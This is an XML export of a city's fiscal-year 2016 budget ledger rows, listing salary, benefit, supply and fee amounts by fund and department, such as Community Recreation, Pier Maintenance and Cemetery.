<row _id="20287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>54327</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54327</total></row>
<row _id="20288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>152459</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>152459</total></row>
<row _id="20289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5240</total></row>
<row _id="20290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>425</total></row>
<row _id="20291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149</total></row>
<row _id="20292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100</total></row>
<row _id="20293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="20294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1246</total></row>
<row _id="20295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21227</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21227</total></row>
<row _id="20296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>671</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>671</total></row>
<row _id="20297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>22800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22800</total></row>
<row _id="20298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="20299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>563</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>563</total></row>
<row _id="20300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>38419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38419</total></row>
<row _id="20302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400440.0</object><object_description>PARK FILMING LOCATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-50900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50900</total></row>
<row _id="20303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407210.0</object><object_description>EVENT PERMIT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-8900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8900</total></row>
<row _id="20304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER TO FUND 01</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>282394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>282394</total></row>
<row _id="20305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1434</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1434</total></row>
<row _id="20306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2564</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2564</total></row>
<row _id="20307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1060</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1060</total></row>
<row _id="20308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556100.0</object><object_description>EMBALMING/CREMATION/DECEDENT C</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>53000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53000</total></row>
<row _id="20309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556110.0</object><object_description>DECEDENT TRANSPORTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="20310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>780289</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>780289</total></row>
<row _id="20311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25350</total></row>
<row _id="20312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22236</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22236</total></row>
<row _id="20314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3131</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3131</total></row>
<row _id="20315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>108459</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>108459</total></row>
<row _id="20316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="20317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>901</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>901</total></row>
<row _id="20318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>251</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>251</total></row>
<row _id="20319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1650</total></row>
<row _id="20320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3874</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3874</total></row>
<row _id="20321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1609</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1609</total></row>
<row _id="20322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21202</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21202</total></row>
<row _id="20323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533250.0</object><object_description>RESTROOM MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="20324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>588</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>588</total></row>
<row _id="20325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3400</total></row>
<row _id="20326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>451</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>451</total></row>
<row _id="20327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>213978</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>213978</total></row>
<row _id="20328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4206</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4206</total></row>
<row _id="20329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>95556</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95556</total></row>
<row _id="20330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5290</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5290</total></row>
<row _id="20331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>45255</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45255</total></row>
<row _id="20332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>776</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>776</total></row>
<row _id="20333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2600</total></row>
<row _id="20334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>120000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120000</total></row>
<row _id="20335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>52471</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52471</total></row>
